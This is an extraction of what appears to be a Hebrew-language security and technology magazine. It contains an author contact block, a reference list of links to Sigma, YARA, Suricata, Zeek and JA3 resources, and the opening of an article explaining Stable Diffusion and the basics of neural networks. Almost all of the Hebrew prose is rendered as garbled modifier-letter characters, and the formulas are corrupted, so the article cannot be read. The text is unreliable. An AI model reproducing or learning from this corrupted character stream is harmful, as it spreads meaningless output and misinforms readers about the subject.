˸˞ ˪˩ ˸ˣˬ˪ˣ˰ˢ ˣ˧ˡ˥˧ Φ 

˸ˣˬ˪ˣ˰ ˶ˣ˦˧ˮˢ ˵˥ˬˣ ˶˸˶ˣ˷˵˸ˢ ˫ˢ ˫˧ˬˣ˵˧ ˫˧ˬˣ˴˰ ˫˰ ˶ˣ˲˯ˮ˧˞ ˸ˣ˧ˣ˶˷˲˞ Σ˶˷˞ ˫˧˪ˠˣ˯ˬ ˸˸˪ ˣˮ˪ Ϧ˦˟ˬ 

˪˰ Ϧ˪˰ ˭ˣˠ˶˞ˢ ˣˮ˪˷ Σ˨˩˟ˣ ˸ˣˢˤ˪ ˫˧ˬˣ˧˞ ˸ˣ˲˵˸ˢˣ ˫ˡ˵ˢ˟ ˨ˣ˸ ˸˩˧˲ˢ ˢ˪˧˪˰ˢ ˸ˮ˧˧ˮ˰ˬ˪ Σ˫˰ˣ ˸˴˵ ˶˸ˣ˧ 

spice Σ˶˷˞˩ ˫˧˪ˣ˰ ˢˬ˶ ˫˧˰˴˟ˬˣ ˸˞ˤ ˸ˣ˶˧˷˧ ˪˰ ˢ˦˵˲ˢ ˸˶˟ˣ˰ˢ ˨˶ˡ˟ sxπthreat hunt ˭˸˧ˮ˷ ˰˴˟˪ 

˧˪˰ s˭˰ˬ˪ ˧ˣˢ˧ˤ ˭ˣ˧˲˞ˣ ˫˧˲˵ˣ˸ˢ ˶˷˞ ˫˧ˮ˧˧ˮ˰˸ˬ ˭ˣˠ˶˞˟ ˣˮ˪˷ Φ 

 

˪˰ ˸˟˸ˣ˩ˢ 

ˢ˪˧ˢ  ˭ˣ˪ˣ˟ˤ˸˟ 20 Σ˸˶˵ˣ˥ ˫˧ˬˣ˧˞ ˧˰ˣ˶˧˞ˣ ˶˟˧˧˯ ˸˶˟˥˟ IONSECΥ 

¶ https://ionsec.io 

˧ˮˬˤˣˬ:˶˷˵ ˶ˣ˴˧˪ ˫ 

¶ hila.zevulun@gmail.com 

¶ hilaz@ionsec.io 

  

https://ionsec.io/
mailto:hila.zevulun@gmail.com
mailto:hilaz@ionsec.io
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˸ˣ˶ˣ˵ˬ 

¶ https://shushan.co.il/%D7%94%D7%A1%D7%91%D7%A8-

%D7%95%D7%9C%D7%99%D7%9E%D7%95%D7%93-regex-regular-expression  
 

¶ https://github.com/Yara-Rules/rules/tree/master  
 

¶ https://github.com/SigmaHQ/sigma/blob/master/rules-emerging-threats/2018/Exploits/CVE-2018-

13379/web_cve_2018_13379_fortinet_preauth_read_exploit.yml#L21  
 

¶ https://pure.port.ac.uk/ws/portalfi les/portal/79753845/A_Comparative_Analysis_of_Snort_3_and_S

uricata.pdf  
 

¶ https://docs.suricata.io/en/latest/what-is-suricata.html  
 

¶ https://docs.suricata.io/en/latest/configuration/suricata-yaml.html#suricata-yaml-outputs-eve  
 

¶ https://docs.suricata.io/en/latest/configuration/suricata-yaml.html#suricata-yaml-fi le-store  
 

¶ https://docs.zeek.org/en/current/about.html  
 

¶ https://github.com/salesforce/ja3  

  

https://shushan.co.il/%D7%94%D7%A1%D7%91%D7%A8-%D7%95%D7%9C%D7%99%D7%9E%D7%95%D7%93-regex-regular-expression
https://shushan.co.il/%D7%94%D7%A1%D7%91%D7%A8-%D7%95%D7%9C%D7%99%D7%9E%D7%95%D7%93-regex-regular-expression
https://github.com/Yara-Rules/rules/tree/master
https://github.com/SigmaHQ/sigma/blob/master/rules-emerging-threats/2018/Exploits/CVE-2018-13379/web_cve_2018_13379_fortinet_preauth_read_exploit.yml#L21
https://github.com/SigmaHQ/sigma/blob/master/rules-emerging-threats/2018/Exploits/CVE-2018-13379/web_cve_2018_13379_fortinet_preauth_read_exploit.yml#L21
https://pure.port.ac.uk/ws/portalfiles/portal/79753845/A_Comparative_Analysis_of_Snort_3_and_Suricata.pdf
https://pure.port.ac.uk/ws/portalfiles/portal/79753845/A_Comparative_Analysis_of_Snort_3_and_Suricata.pdf
https://docs.suricata.io/en/latest/what-is-suricata.html
https://docs.suricata.io/en/latest/configuration/suricata-yaml.html#suricata-yaml-outputs-eve
https://docs.suricata.io/en/latest/configuration/suricata-yaml.html#suricata-yaml-file-store
https://docs.zeek.org/en/current/about.html
https://github.com/salesforce/ja3
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ˡ˴˧˩ ˫˧˶˴˧ˬ ˪ˣ˸˥ ˯˲˞ˬ :˸ˣˮˣ˧˰˶ˢ ˧˶ˣ˥˞ˬStable 

Diffuision ˩˶ˬˣˣ˧˟˧ 

˸˞ˬ ˡ˧˟˶ ˪ ˧ˣˡˢˣ˞ˣ ˭˶ˣ˵ 

 

ˢˬˡ˵ˢ 

˥˦˟ ˫˸˰ˬ˷ ˪˰ ChatGPT ,˪˰ Gemini ,ˣ˞ ˪˰ Dall-E ,˪˰ˣ ˡˣ˰ ˪˩ ˧ˮ˧ˬ ˫˧˶˟ˡ ˫˧ˬˣˡ .ˢˬ ˱˸ˣ˷ˬ˷ 

˸˷ˣ˪˷˪ ˢ˪˞ ˞ˣˢ ˧˸˷ ˸ˣ˧˸ˣ˞ˢ ˫˸˰ˬ˷˷ ˭ˣˬˢ ˢ˲ˣ˵˸˟ ˢˮˣ˶˥˞ˢ :AI ,ˢˮ˧˟ ˸˧˸ˣ˩˞˪ˬ .ˣ˪˞ ˫˴˰˟ ˢˬ 

˞˶˵ˮ˷ ˫˧˪ˡˣˬ ,˸ˣˮ˩ˣ˸ ˸ˣˡˬˣ˪˷ ˰ˡ˧ˬˬ ˸ˣ˵˧˯ˬˣ ˣ˧˲˪ ˫˧˶˟ˡ .˸ˣˮ˵˯ˬˢ ˣ˪˞ˢ ˸ˣ˪ˣ˩˧ ˞ˣ˟˪ ˸ˣˬˡ˟ ˭˩ˣ˸ 

˷ˡ˥ ,ˣˬ˩ ˢ˶˵ˬ˟ ˪˷ ˸˷ˣ˪˷ ˫˧˪ˡˣˬˢ ˣ˪˪ˢ .ˢˤ ˢˬ˪ ˪˩ ˫ˣ˥˸ˢ ˞˶˵ˮ ˭˧˟ ˶˸˧ˢ "˸ˡ˧ˬ˪ ˢˮˣ˩ˬ." 

ˣˮ˥ˮ˞ ˫ˠ ˣˮ˰ˬ˷ ˫ˢ˧˪˰ )˶˸ˣ˧ ˧ˡˬ ,(ˢ˟˶ˢ ˧ˮ˲˪ ˢˤ˷ ˢ˧ˢ ˟˧ˮˠˬ ˧ˡˮ˶˦ˣ .ˣˮ˧ˮ˷ ˫˧ˡˬˣ˪ ˸˧ˮ˩ˣ˸˟ ˢ˞˧˯˧ˡˣ˞ 

˸˦˧˯˶˟˧ˮˣ˞˟ ˪˸ ˟˧˟˞ ,˪˧˟˷˟ˣ ˰˧ˠˢ˪ ˪˫˷ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˰ˣ˯ˮ˪ ˸˟˩˶˟ ˨˷ˬ˪ ˧˴˥ ˢ˰˷ ˪˩˟ ˭ˣˣ˧˩ . 

˸˲ˣ˵˸˟ ˫˧ˮ˥˟ˬˢ ˪˷ ˢˮ˷ ˞ '˸˧ˮ˩ˣ˸˟ ,˧˪ˣ˧˟ нлнн ,˶˵˧˰ ˰ˣ˷˰˷ˢ ˣˮ˪˷ ˸˟˩˶˟ ˢ˧ˢ ˶ˣ˴˧˪ ˸ˣˮˣˬ˸ 

˶˸˞˟ ˫˷˟ wombo.art ,˫˧˯˧ˮ˩ˬ˷ ˣ˧˪˞ ˦˯˵˦ ˞ˣˢˣ ˞˧˴ˣˬ ˢˮˣˬ˸ ˢ˲˧ .˫˧ˢˣ˪˞ ˰ˡˣ˧ ˢˬ ˣ˟˴ˬ ˣ˧˷˩˰ .ˢˤ 

ˢ˧ˢ ˢ˰˟˶˞ ˫˧˷ˡˣ˥ ˧˶˥˞ ˷-OpenAI ˣ˰˧ˡˣˢ ˪˰ Dall-E 2 ,˪˩ˣ ˸˷˶ˢ ˢ˷˰ˠ ˟˧˟˯ ˞˷ˣˮˢ ˪˷ ˶ˣ˴˧˧ 

˸ˣˮˣˬ˸ ˸˶ˤ˰˟ AI ,˨˞ ˭˧˧ˡ˰ ˞˪ ˶˶˥ˣ˷ ˫ˣ˷ ˪ˡˣˬ ˶ˣ˟˧˴˪ .˶˸˞ˢ ˢˤˢ ˢ˧ˢ ˶˟ˡˢ ˡ˧˥˧ˢ ˣˮˬˤ˟ )ˣˮ˰ˡ˧˷ 

ˣ˧˪˰ (˶˷˲˧˞˷ ˶ˣ˴˧˪ ˸ˣˮˣˬ˸ ˫ˮ˧˥˟ ˭ˣ˲˪˦˟. 

˪˟˞ ˤ˞ .ˢ˩˩ ˫ˣ˞˸˲ .˦˯ˣˠˣ˞˟ нлнн .˶˶˥ˣ˷ ˣˢ˷ˬ ˟˧˴˧ ˶˸ˣ˧˟ .ˣˢ˷ˬ ,˪˩˧˷ ˣ˥ˣ˩˟ ˨˧˸ˢ˪ ˶˸ˣ˧ ˵ˤ˥ 

ˢ˟˪ˬ .˪˩˧ ˨˧˸ˢ˪ ˸ˣ˩˸ˬ ˪ˤ˶˟ˣ ,ˣ˸ˣ˞˟ˣ ˭ˬˤ ˫˧˶ˢ˪ ˸ˣ˰˟ˠ ˫˧˲ˣˮˣ ˪˷ ˫˧˪ˣ˸˥ ˫˧˪˩ˣ˞˷ ˢ˴˧˲ .ˢˤ ˢ˧ˢ - 

˨ˣ˸˧ˢˢ ˟˧˴˧ˢ ,ˣ˞ ˣˬ˷˟ ˧˶˩ˣˮˢ: Stable Diffusion .ˣˢˤ ˪ˡˣˬ ,ˣˬ˩ Dall-E ,˥˵ˣ˪˷ ˦˯˵˦ ˶˴˧˧ˬˣ ˢˮˣˬ˸ .

˸˧˪ˠˮ˞˟ ˪ˡˣˬ ˢˤ˩ ˞˶˵ˮ text-to-image .ˣ˧˷˩˰ ,ˡˣˬˢ ˪ˢˤˢ ˢ˧ˢ ˡ˥ˣ˧ˬ ,˞ˣˢ ˞˪ ˢ˧ˢ ˟ˣˮ˯ ˣˬ˩ ˫˧ˬˡˣ˵ˢ ,

˞ˣˢ ˢ˧ˢ Open Source .˷˧ ˨˩˪ ˧˸˷ ˸ˣˮˣ˶˸˧ ˫˧˧ˤ˩˶ˬ: 

¶ ˞ˣˢ ˧ˬˮ˧˥ ˧˶ˬˠ˪ ,ˡ˰ ˧ˡ˩ ˸ˣ˷˧˶ˡ ˢ˶ˬˣ˥. 

¶ ˶˷˲˞ ˫˧˞˸ˢ˪ ˣ˸ˣ˞ ˫˧˩˶˴˪ ˫˧ˬ˧ˣ˯ˬ ,ˢˬˠˣˡ˪ ˭ˬ˞˪ ˸˞ ˪ˡˣˬˢ )˸˞ ˸ˣ˰ˬ˷ˬˢ ˪˷ "˭ˬ˞˪ "˶˧˟˯ˮ 

˨˷ˬˢ˟(. ˸˧˲˧˴˲˯, ˶ˣ˴˧˧˪ ˸ˣˮˣˬ˸ ˪˷ ˮˣˬ˧˵ˣ˲˫˧ x˞ ˫˧˪ˣ˸˪˸˥ ˫˧˪˩ˣ˞˷ ˶ˠ˶ˣ˟ˬˢ J 

˶˟ˬ˦˲˯˟ нлнн ˶˶˥ˣ˷ ˫ˠ Dall-E 2 ˸˯˶ˠ˪ ˞˦˟ ˸˧˶ˣ˟˧˴ .˸˷˶ˢ ˟ˣ˷ ˢ˷˰ˠ .˫˧˷ˮ˞ ˣ˴˞ ˶˴˧˧˪ ˸ˣˮˣˬ˸ 

˸ˣ˷ˡ˥ ˸ˮˣˬ˸˪ ˪˧˲ˣ˶˲ˢ ˫ˢ˪˷ ˡ˶ˣ˵˯˧ˡ˟ ˶˦˧ˣˣ˦˟ˣ .˭˧˧ˡ˰ ,ˢˤ ˞˪ ˶˟˧ˡ ˟˪˪ ˪˷ ˫˪ˣ˩ ,˧˩ ˣˮ˥ˮ˞˷˩ 

˫˧˶ˬˣ˞ ˸˷˶ˢ ˣˮ˥ˮ˞ ˫˴˰˟ ˫˧ˮˣˣ˩˸ˬ ˢˬ˩˪ ˸ˣ˪˧ˢ˵ ˣˮ˩˦ˢ˧ˠˣ˪ ˸˷˶˟ .˫ˡ˞˪ ˦ˣ˷˲ˢ ˞˪ ˢ˧ˢ ˶˷˵ ˫˰ 

˥ˮˣˬˢ AI . 
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˪˟˞ ˪˩ˢ ˢˮ˸˷ˢ ˸ˬˣ˞˷˩ ˷˞ˢ ˢ˦˧˪˥ˢ ˱ˣ˵˸˪ .˫˧˥ˮˣˬ˟ˣ ˪˷ ˫ˣ˧ˢ ,˷˩-OpenAI ˣ˦˧˪˥ˢ ˶˶˥˷˪ ˸˞ 

ChatGPT ,˶˟ˬ˟ˣˮ˟ нлнн .˪ˡˣˬˢ GPT-о ˢ˧ˢ ˫˧˧˵ ˧ˮ˲˪ ,ˡˢˣ˞ˣ ˣ˪˧˲˞ ˶˩ˣˤ ˞ˣˢ˷ ˰ˬ˷ ˣ˧˪˰ ˢˮˣ˷˞˶˪ 

˸˰˧˯ˮ˟ ˸˟˩˶ ˧˪ˣ˧˟ нлнм .˫˪ˣ˞ ˫˰˲ˢ OpenAI ˣ˶˶˥˧˷ ˸˞ ChatGPT ˫ˮ˧˥˟ ˧˶ˬˠ˪ ,˧˪˟ ˸ˣ˪˟ˠˢ 

˭ˢ˧ˮ˧ˬ˪ .ˢˤ ˫˶ˠ ˸ˣ˴˴ˣ˲˸ˢ˪ ˪˷ ˞˷ˣˮ s-AI ˶ˣ˟˧˴˟ ˟˥˶ˢ ˢ˸˰ˬˣ ˢ˞˪ˢˣ ˪˩ ˫ˣ˧ ˫˧˰ˬˣ˷ ˪˰ ˷ˣˡ˧˥ 

˫ˣ˥˸˟ . 

ˣ˸ˣ˞˟ ˭ˬˤ ˨˶˰˟ ,˧˪ˣ˞ ˢˬ˩ ˫˧ˬ˧ ˧ˮ˲˪ ,ˣˮ˧˧ˢ ˫˧˩˧˶˴ ˶ˣ˥˟˪ ˞˷ˣˮ ˶ˬ˞ˬ˪ ,ˣˮ˶˩ˤˮˣ ˣˮ˧˸ˣ˧ˣˣ˥˟ ˭ˬ ˸˟˩˶ˢ .

ˤ˞ ˣˮ˦˪˥ˢ ˟ˣ˸˩˪ ˬ˞ˬ ˶˪˰ Stable Diffusion ,˪˩ˣ ˢˬ ˟˟ˣ˯˷ ˣ˟˧˟˯ .˶˟˸˯ˬ ˢ˟˶ˢ˷ ˫˧˶˟ˡ ˫˧˟˟ˣ˯ 

ˣ˟˧˟˯. 

 

˸˶ˢ˴ˢ ˸ˣˮˣˣ˩ 

˶ˬ˞ˬ˟ ˶˧˟˯ˮ ˨˧˞ ˢˮ˧˟ ˸˧˸ˣ˩˞˪ˬ ˸ˡ˟ˣ˰ ˢ˶ˣ˴˟ ˸˧˪˪˩ .˫ˡ˵˸ˮ ˪-Stable Diffusion ˣˬ˴˰ ˶˧˟˯ˮˣ ˪˰ 

ˣ˧˟˧˩˶ ˫˧ˮˣ˷ˢ ˡ˰ ˷ˬˬ˷ ˭˧˟ˮ ˨˧˞ ˞ˣˢ ˡ˟ˣ˰ .˱ˣ˯˟˪ ˵˯˰˸ˮ ˭˲˟ ˧˦˯˧˶˟˧˧˯ˢ ˶˸ˣ˧ ˪˷ ˮˢ˞˷ˣ ,˶˟ˡˮˣ ˪˰ 

ˢ˲˧˵˸ ˪˷ ˸˷˶ ˫˧ˮˣ˶˧ˣˮ ˸˧˪˪˩ ˦˶˲˟ˣ ˪˷ ˪ˡˣˬ text-to-image. 

ˢ˴˶ˮ ˵˶ ˶ˬˣ˪ ˫ˣ˥˸ˢ˷ ˪˪ˣ˩ ˢ˟˶ˢ ˢ˵˧˦ˬ˸ˬ .ˤ˞ ˫ˡˣ˵ ˪˩ ,˫˞ ˧˞ ˫˰˲ ˫˸˪˞˷ ˸˞ ˫˩ˬ˴˰ "ˢˬ˪ ˧ˮ˞ 

ˡˬˣ˪ ˢ˵˧˦ˬ˸ˬ ,"?ˢ˟ˣ˷˸ˢ ˞˧ˢ ˢ˵˧˦ˬ˸ˬ˷ ˢˮ˧ˢ ˯˧˯˟ˢ ˪˩˪ ˫ˣ˥˸ˢ ˢˤˢ ,ˡˣ˰ˣ ˧˲˪˞ ˫˧ˬˣ˥˸ ˫˧˶˥˞ .

˸˧ˮ˷ ,˶ˬ˞ˬˢ ˤˢ s˪ˣ˪˩˧ ˢ˵˧˦ˬ˸ˬ ,˪˟˞ ˢˤ ˢ˧ˢ˧ ˱˯ˣˮ˟ ˫˧˶˟˯ˢ˪ ˫˧˧˪ˣ˪˧ˬ )˞˪ˣ ˫ˣ˵ˬ˟ ,(˨˩ ˧ˬ˷ 

˰˸˶ˮ˷ ˫˧ˮˣˬ˧˯ˬ ˫˧˧˦ˬ˸ˬ ˪˩ˣ˧ ˭˧˟ˢ˪ ˪˩˟ ˸˞ˤ ˨˶ˡ ˫˧˪˧ˬˢ )˸ˣ˥˲˪ ˣˮ˪ˡ˸˷ˢ ˢˤ˷ ˢˬ ˢ˶˵˧˷ .(˫˞ ˧˩ 

˫˧ˮˣˬ˧˯ˢ ˡˣ˞ˬ ˫˧˶ˤˣ˰ ˭˧˟ˢ˪ ˢˬ ˨˪ˣˢ. 

˟ˠ˞ ,˶ˬ˞ˬ˟ ˣˮ˥ˮ˞ ˫˧˷ˬ˸˷ˬ ˢ˟˶ˢ˟ ˫˧˥ˮˣˬ ˫˧ˮˣ˷ ˫˧ˮˣ˷ˬˣ ,˨˶ˣ˴˪ˣ ˸ˣ˥ˣˮˢ ˣˮ˪˷ ˫˩˪˷ˣ ˣˮ˞ ˫˧ˬˠ˶˸ˬ 

˸˞ ˫˟ˣ˶ ˸˧˶˟˰˪ .˫˧ˬˣˠ˶˸ˢ ˞˪ ˢ˪˞˩ ˫˧˟ˣ˦ ,ˢ˷˰ˬ˪ˣ ˫ˢ ˧l ˫˧˶ˤˣˬ ,ˤ˞ ˫˧˶˰˦˴ˬ ˷˞˶ˬ . 

ˣˮ˞ ˫˧ˣˣ˵ˬ ˣˮˢ˸˷ ,ˣ˵˥˴˸ ˣˡˬ˪˸ˣ ˸˞˧˶˵ˬ ˶ˬ˞ˬˢ .ˣˮ˰˵˷ˢ x˟ ˢ˟˶ˢ . 

ˢ˞˧˶˵ ˢˬ˧˰ˮ! 
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˫˧ˮˣ˶˧ˣˮ ˸ˣ˸˷˶˪ ˞ˣ˟ˬ 

˪˰ ˸ˮˬ ˭˧˟ˢ˪ ˡ˴˧˩ ˪ˡˣˬˢ Stable Diffusion ˡ˟ˣ˰ ,ˣˮ˧˪˰ ˸˧˷˞˶ ˭˧˟ˢ˪ ˭ˢˬ ˸ˣ˸˷˶ ˫˧ˮˣ˶˧ˣˮ ˨˧˞ˣ ˭s 

˸ˣ˶˷˵˸ˬ ˸ˡ˧ˬ˪˪ ˢˮˣ˩ˬ. 

 

˸˴˵ ˢ˧ˠˣ˪ˣ˧˟ 

ˢ˟˶ˢ ˸ˣ˧ˠˣ˪ˣˮ˩˦ˢˬ ˸ˣˬˡ˵˸ˬˢ ˸ˣ˦ˣ˷˲ˢˣ ˫ˡ˞ˢ˷ ˞˧˴ˬˢ ˭s ˫˴˰˟ ˫˧˧ˣ˵˧˥ ˪˷ ˫˧ˮˣˮˠˮˬ ˫˧ˬ˪˷ˣˬ 

˰˟˦ˢˬ .˸ˣ˸˷˶ ˫˧ˮˣ˶˧ˣˮ ˞˪ ˸ˣˮˣ˷ ˭˟ˣˬ˟ ˢˤˢ .ˢ˶˵ˬ˟ ˢˤ ,˫ˡ˞ˢ ˢ˯ˮˬ ˸ˣ˵˥˪ ˸˞ ˥ˣˬˢ ˣ˪˷ ˣˬ˴˰! 

˥ˣˬ˟ ˣˮ˪˷ ˷˧ ˫˧ˮˣ˶˧ˣˮ ,˧˞˸ ˟˴˰ ,ˢ˟˶ˢˣ ˫ˢˬ .˥ˣˬ˟ ˪˷ ˫ˡ˞ ˰˴ˣˬˬ ˷˧ ˢ˞ˬ˩ ˡ˶˞˧˪˧ˬ ˫˧ˮˣ˶˧ˣˮ .˪˩˪ 

˭ˣ˶˧ˣˮ ˷˧ ˫˧˦˧˶ˡˮˡ ,˸ˣ˥ˣ˪˷ ˸ˣ˶˴˵ ˸ˣ˲˰ˣ˯ˬˣ ,˫˧ˣˣˢˬ˷ ˸˞ ˧˰˴ˬ˞ ˦˪˵ˢ ˣ˪˷. 

˶˷˞˩ ˫˧˪˟˵˸ˬ ˵˧˲˯ˬ ˫˧˧ˣ˶˧ˠ ˫˧˦˧˶ˡˮˡ˟ ,˭ˣ˶˧ˣˮˢ ˥˪ˣ˷ ˸ˣ˞ ˧˪ˬ˷˥ ,˨˶ˡ ˭ˣ˯˵˞ˢ ,˟˧˯ ˦˪˲ˢ ,˰˧ˠˬ˷ 

˪˞ ˧˦˧˶ˡˮˡ ˫˪˷ ˫˧ˮˣ˶˧ˣˮ ˫˧˶˥˞ x˞ ˫˧˶˧˶˷/˸ˣ˦ˣ˪˟ ˢ˶ˠˬˣ ˫˸ˣ˞. ˪˩˩ ˫˧ˮˣ˶˧ˣˮˢ˷ ˫˧˪˟˵ˬ ˶˸ˣ˧ ˫˧˧ˣ˶˧ˠ ,

˨˩ ˫ˢ ˫˧˥˪ˣ˷ ˸ˣ˸ˣ˞ ˟˴˵˟ ˶˸ˣ˧ ˢˣ˟ˠ: 

 
]˥ˣ˵˪ ˬ˭˞˩[ 

˸ˣ˸˷˶ ˫˧ˮˣ˶˧ˣˮ ˸ˣ˟˷˥ˣˬˬ ˸ˣ˯˯ˣ˟ˬ ˪˰ ˭˲ˣ˞ ˢ˪ˣ˰˲ˢ ˪˷ ˸ˣ˸˷˶ ˫˧ˮˣ˶˧ˣˮˢ ˥ˣˬ˟ .˭˟ˣˬ˩ ˷˧˷ ˪ˡ˟ˢ ˵ˮ˰ 

˭˧˟ ˫˧˧˸˷ˢ ,ˢˬˠˣˡ˪ ˸˷˶ ˫˧ˮˣ˶˧ˣˮˢ ˥ˣˬ˟ ˸ˡˬˣ˪ "˨ˣ˸ ˧ˡ˩ ˢ˴˧˶ ,"ˣ˪˧˞ˣ ˸˷˶ ˫˧ˮˣ˶˧ˣˮ ˸˟˷˥ˣˬˬ ˸ˡˬˣ˪ 

˨˧˪ˢ˸˟ ˡ˰ˣ˧ˬ ˞˶˵ˮ˷ ˭ˣˬ˧˞ )ˣ˧˪˰ ˶˧˟˯ˮ ˨˷ˬˢ˟ ,(˨˞ ˭ˣ˶˵˧˰ˢ ˢˬˣˡ. 

 

˧ˢˬ ˫˴˰˟ ˸˷˶ ˫˧ˮˣ˶˧ˣˮ? 

ˢˮ˟ˬˢ ˪˷ ˸ˣ˸˷˶ˢ ˣ˧ˮˣ˶˧ˣˮˢ ˸ˢˮ˸˷ˬ ˷ˣˬ˧˷ˬ ˷ˣˬ˧˷˪ ,˪˟˞ ˭ˣ˧˰˶ˢ ˧˪˪˩ˢ ˢˢˤ .˸˷˶ ˸˧ˮˣ˶˧ˣˮ 

ˢ˯˧˯˟˟ ˞˧ˢ ˢ˧˴˵ˮˣ˲ ˬ-ᴙ ˪-ᴙ ,˶ˬˣ˪˩ ˞˧ˢ ˸˥˵ˣ˪ ὲ ˫˧˶˲˯ˬ ˢ˶˧ˤ˥ˬˣ ά ˫˧˶˲˯ˬ ,˞˪ ˢˮ˷ˬ ˫˞ 

ὲ ά x˞ ὲ ά x˞ ˫ˢ˷ ˫˧ˣˣ˷ .ˢˬ ˭˧˧ˮ˰ˬ˷ ˞ˣˢ ˨˧˞ ˢ˧˴˵ˮˣ˲ˢ˷ ˸˞ˤˢ ˸˪˰ˣ˲ ,ˢˤˣ ˫ˠ ˢˬ ˶˷˲˞ˬ˷ 

ˣˮ˪ ˭ˬ˞˪ ˢ˸ˣ˞ ˶˴˪ˣˮ˩˧ . 

http://www.ynet.co.il/PicServer2/20122005/852080/nironSmall.gif
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˪˩˸˯ˮ ˪˰ ˸˷˶ ˫˧ˮˣ˶˧ˣˮ ˸˧˪˪˩ : 

 

˶ˣ˟˰ˮ ˪˰ ˧˵˪˥ ˸˷˶ˢ: 

¶ Input LayerΥ ˢˤ ˫˴˰˟ ˦˪˵ˢ ˪˷ ˸˷˶ˢ ;˫˧˯˧ˮ˩ˬ ˪˩˪ ˭ˣ˶˧ˣˮ ˨˶˰ ˣˢ˷˪˩ ,˸˷˶ˢˣ ˢ˶˧˟˰ˬ ˸˞ 

˰ˡ˧ˬˢ ˸ˣ˟˩˷˪ ˸ˣ˞˟ˢ ˨˶ˣ˴˪ ˣˡˣ˟˧˰. 

¶ Hidden LayerΥ ˢ˟˩˷ xʕ ,˞˧ˢ s"˫˧˥˸ˣ˸ ˫˧ˡ˟˩ˢ ."ˢ˟ ˸˷˶ˢ ˢ˪ˣ˩˧ ˪ˣˡˠ˪ ,˨˟˸˯ˢ˪ ˨˩ˣ ˸ˣ˷˰˪ 

˫˧˟ˣ˷˧˥ ˢ˟˶ˢ ˶˸ˣ˧ ˫˧˩˟ˣ˯ˬ ˫˧˵˧ˣˡˬˣ .ˣˤ ˢ˟˩˷ˢ ˢ˟ ˢ˷˰ˮ ˡˣ˟˧˰ˢ ˧˶˵˧˰ˢ ˪˷ ˦˪˵ˢ .˪˰ˣ˲˟ ,˷˧ 

˶˲˯ˬ ˸ˣ˟˩˷ ˢ˪˞˩ ˸ˣ˶˟ˣ˥ˬˢ ˭ˢ˧ˮ˧˟ . 

¶ Output LayerΥ ˢ˟˩˷ xʕ ˞˧ˢ ˦˪˲ˢ ˪˷ ˸˷˶ˢ ,˶˥˞˪ ˡˣ˟˧˰ ˦˪˵ˢ ˣ˸˶˟˰ˢˣ ˨˶ˡ ˪˩ ˸˷˶ˢ ,˰˧ˠˬ 

˰ˡ˧ˬˢ ˱ˣ˯˟˪ ˫˧ˮˣ˶˧ˣˮ˪ ˟˷-Output Layer .˫˷ˬ ˶˷˲˞ ˸˥˵˪ ˞ ˸˫˧˩˶˰ˢ ˷ˬ˸˷ˢ˪ˣ ˫ˢ˟ ˣˮˮˣ˴˶˩. 

˫˧˷ˮ ˟˪ ˪˩˷ ˢ˟˩˷ ˸˶˟ˣ˥ˬ ˢ˞˟ˢ˪ ˪˰ ˧ˡ˧ ˢ˟˶ˢ ˡˣ˞ˬ ˫˧˶ˣ˟˧˥ ˭˧˟ ˫˧ˮˣ˶˧ˣˮˢ .˪˩˸˯ˮ ˪˰ ˭ˣ˶˧ˣˮ ˡˡˣ˟ 

˸˥˞˟ ˸ˣ˟˩˷ˢ: 
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˪˞ ˭ˣ˶˧ˣˮˢ ˫˧˶˟ˣ˥ˬ ˪˩ ˫˧ˮˣ˶˧ˣˮˢ ˢ˟˩˷˟ ˸ˬˡˣ˵ˢ .˪˩˪ ˶ˣ˟˧˥ ˢˤ˩ ˷˧ ˪˵˷ˬ )Weight ,(˶˷˞˩ˣ ˫˧˟˷˥ˬ 

˸˞ ˨˶˰ˢ ˪˷ ˭ˣ˶˧ˣˮˢ ,˫˧˟˷˥ˬ ˸˞ ˫ˣ˩˯ˢ ˪˷ ˪˩ ˧˩˶˰ ˫˧ˮˣ˶˧ˣˮˢ ˢ˟˩˷˟ ˸ˬˡˣ˵ˢ ,˪˩ ˡ˥˞ ˪˲˩ˣˬ 

˪˵˷ˬ˟ ˫˧˞˸ˬˢ ˶ˣ˟˧˥˪ ˣ˪˷ .˱˯ˣˮ˟ ,˪˩˪ ˭ˣ˶˧ˣˮ ˷˧ ˢ˧˦ˢ )Bias (ˣ˪˷ˬ ˣ˸ˣ˞˷ ˞ˣˢ ˱˧˯ˣˬ ˫ˣ˩˯˪ ˢˤ. 

˶˥˞˪ ˣˮ˟˷˧˥˷ ˸˞ ˨˶˰ˢ ˢˤˢ ,ˣˮ˥ˮ˞ ˫˧˯˧ˮ˩ˬ ˣ˸ˣ˞ ˢ˧˴˵ˮˣ˲˪ ˸˧˷ˬˬ ˸ˬ˧ˣ˯ˬ ,˸˞˶˵ˮ˷ ˸˧˧˴˵ˮˣ˲ 

ˢ˪˰˲ˢˢ )Activation Function( ,˦˪˲ˢˣ ˢ˪˷ ˢ˧ˢ˧ ˨˶˰ ˭ˣ˶˧ˣˮˢ. 

˫˞ ˪ˬ˶˲ˮ ˸˞ ˢˬ ˟ˣ˸˩˷ ˭˞˩ ,ˤ˞ ˭ˬ˯ˮ ὺȟȢȢȢȟὺ ˶ˣ˸˟ ˫˧˩˶˰ˢ ˪˷ ˢ˟˩˷ ˸˥˞ ˸˷˶˟ ,˭ˬ˯ˮˣ 

όȟȢȢȢȟό ˶ˣ˸˟ ˫˧˩˶˰ˢ ˪˷ ˢ˟˩˷ˢ ˢ˞˟ˢ ˸˷˶˟ ,˫˸ˣ˞˷ ˣˮ˞ ˫˧˴ˣ˶ ˟˷˥˪ ˢ˟˩˷ˢˬ ˸ˬˡˣ˵ˢ .˪˩˪ 

Ὦ ὲ ˪˩˪ˣ Ὥ ά ˭ˬ˯ˮ ὡ ˶ˣ˸˟ ˪˵˷ˬˢ ˪˷ ˶ˣ˟˧˥ˢ ˭˧˟ ˭ˣ˶ˣ˧ˮ Ὦ ˢ˟˩˷˟ ˢˮˣ˷˞˶ˢ ˭˧˟˪ ˭ˣ˶ˣ˧ˮ Ὥ ˢ˟˩˷˟ 

ˢ˧˧ˮ˷ˢ ,˭ˬ˯ˮˣ ὦ ˶ˣ˸˟ ˢ˧˦ˢˢ ˪˷ ˭ˣ˶ˣ˧ˮ Ὥ.  

˧ˤ˞ ˪˩˪ Ὥ ά ,˨˶˰ˢ ˪˷ ˭ˣ˶ˣ˧ˮ Ὥ ˢ˟˩˷˟ ˢ˧˧ˮ˷ˢ ˢ˧ˢ˧ ό ὃ В ὡ ὺ ὦ ,˶˷˞˟ ὃ 

